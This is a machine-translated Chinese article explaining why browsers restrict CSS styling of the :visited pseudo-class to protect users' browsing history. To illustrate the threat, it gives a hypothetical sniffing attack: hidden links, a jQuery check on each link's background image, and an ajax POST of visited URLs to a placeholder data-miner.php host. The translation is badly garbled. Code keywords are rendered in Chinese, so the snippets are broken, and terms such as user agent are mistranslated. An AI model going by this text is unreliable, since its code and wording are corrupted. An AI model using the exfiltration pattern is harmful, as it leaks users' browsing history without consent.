为什么:访问伪类是奇怪的

WebFX总裁。Bill在互联网营销行业有超过25年的经验,专门从事SEO, UX,信息架构,营销自动化等。William在希彭斯堡和麻省理工学院的科学计算和教育背景为MarketingCloudFX和WebFX的其他关键研发项目提供了基础。

属性的样式规则中,开发人员可以使用的CSS属性受到了现代浏览器的严格限制:参观链接伪类。如果您不熟悉这个奇怪的伪类,您可能想知道为什么站点访问的链接没有按预期呈现。如果您试图通过为访问的链接设置样式背景图像例如,你会惊讶地发现在现代浏览器中已经不能这样做了。

你可能认为这是一个浏览器错误,因为没有明显的原因,为什么下面的CSS不能工作:

/*这不会像预期的那样工作*/A:访问{显示:块;背景图片:url(“cat.jpg”);}

如果我们使用其他伪类,比如:徘徊伪类——样式属性按预期工作。

/*这完全没问题*/答:悬停{显示:块;背景图片:url(“cat.jpg”);}

目前,它似乎属性的唯一属性:参观伪类是颜色财产。哦,浏览器很可能不会渲染alpha透明度的颜色,即使你正确地指定了一个标准的颜色单位,如rgba

奇怪的是吧?有什么事吗?的链接伪类的W3C规范从技术上讲,浏览器可以选择忽略我们的:链接而且:参观伪类样式规则。

这是因为:参观伪类可能是潜在的滥用这样施虐者就能获取访问者浏览历史的数据。

样式表作者可能滥用:link和:visited伪类,在未经用户同意的情况下确定用户访问了哪些站点。因此,无人机可能会将所有链接视为未访问的链接,或者采取其他措施来保护用户的隐私,同时以不同的方式呈现已访问和未访问的链接。”来源:选择器级别3:链接伪类::link和:visited

(如果你想知道:在上面的摘录中,术语“UAs”指的是“用户代理”,这是用来访问网站的软件。

最常见的UA类型是web浏览器。)

用户的浏览历史是如何被泄露的

属性不能使用所有CSS属性的原因:参观伪类,我将试图通过一个假设的情况来解释它。现代浏览器不再允许背景图像属性要呈现。但是,让我们假设,在这个假设的情况下,web浏览器允许并呈现背景图像财产。

如果没有适当的预防措施,施虐者:参观伪类可以放一个清单吗<一>网页中指向特定网站的元素,然后对页面的访问者隐藏它:

超文本标记语言

隐藏链接 隐藏链接 隐藏链接

这些<一>元素可以使用CSS隐藏。浏览器无法呈现背景图像属性本身在客户端,它必须从一些web服务器下载资产来呈现CSS作者指定的属性。

让我们称这个外部资产为“visited.jpg”。

CSS

{:链接/*隐藏链接*/显示:没有;背景图片:没有;} a:已访问{/*给访问的链接一个背景图片*/背景图片:url(“http://some.server/visited.jpg”);}

然后,使用JavaScript,可以循环遍历网页上的所有链接,以确定它是否具有“visited.jpg”背景。如果一个链接具有“visited.jpg”背景,那么它就表明该URL已被用户访问过。访问过的url列表以及用户的IP地址等其他信息可以发送到服务器端脚本进行处理。

在下面的示例中,jQuery用于实现这种性质的内容。

jQuery JavaScript /

$(文档)时函数(){//提示链接已被访问的属性值var VisitedBg = "url(http://some.server/visited.jpg)";//存储访问url的数组var URLsVisited = [];//循环浏览网页中的所有链接$ (' a ') . each(函数(){//检查当前链接的背景是否等于/ / visited.jpgif($(this).css('background-image') == VisitedBg) {//把这个链接放在数组中,因为//它已被访问URLsVisited。Push ($(this).attr('href'));}});//发送访问的url列表到PHP脚本//用于处理和存储美元。ajax({type: 'post', url: 'http://some.server/data-miner.php', data: {'URLsVisited': URLsVisited}});});

这里有一个更详细的关于隐私问题的解释在Mozilla.org上。属性时所呈现的CSS属性:参观伪类,JavaScript函数等getComputedStyle ()而且querySelector ()属性匹配的链接上使用时:参观选择器将以一种无法区分已访问链接和未访问链接的方式返回值。

开发者面临的问题:没有标准

目前,还没有关于哪些CSS属性可以与:参观伪类选择器,所以当涉及到样式访问链接时,目前存在这种不一致性和不确定性。甚至未来的W3C CSS规范也没有给出明确的说明。在当前的CSS4草案中,浏览器仍然可以自由支配如何处理:参观而且:链接伪类:

“因此,无人机可能会将所有链接视为未访问的链接,或者采取其他措施来保护用户的隐私,同时以不同的方式呈现已访问和未访问的链接。”来源:选择器级别4:链接历史伪类::Link和:visited

我之前在Mozilla.org博客上链接的一篇解释隐私问题的文章是这样说的:

我们限制了CSS属性,这些属性可用于将访问的链接设置为color、background-color、border-*-color和outline-color,以及填充和描边属性的颜色部分。

来源:CSS与隐私相关的变化:已访问

的官方文件:参观伪类在Mozilla开发者网络上说:

注意:出于隐私原因,浏览器严格限制了你使用这个伪类选择的元素所能应用的样式:只有color、background-color、border-color、border-bottom-color、border-left-color、border-right-color、border-top-color、outline-color、column-rule-color、填充和描边。来源::visited - CSS | MDN

但是,当您在最新版本的Firefox中尝试Mozilla的允许属性时,只有颜色房地产工作。因此,即使是浏览器供应商的官方文档和博客文章也不能给出定论。ie浏览器是最权威的。

但我用这个词的时候比较宽松。在一个关于开发人员控制台工具错误消息的模糊MSDN文档中,有一个条目SEC7115错误代码。错误信息如下:

:visit和:链接样式只能因颜色而不同。

有些风格并不适用于:visited。”来源:F12开发人员工具控制台错误消息(Windows)

解决错误消息的建议修复是:

“只更改颜色属性。”来源:F12开发人员工具控制台错误消息(Windows)

以上至少间接暗示了Internet Explorer已经采取了立场:参观伪类。浏览器将只应用颜色CSS属性。

结论

现在,网络浏览器的趋势是只有颜色属性中指定的:参观选择器将被呈现。任何其他CSS属性都将被忽略。

相关内容

WebFX职业

加入我们的使命,为全球各地的企业提供行业领先的数字营销服务-同时建立您的个人知识和个人成长。

我们招聘! 视图30 +职位空缺!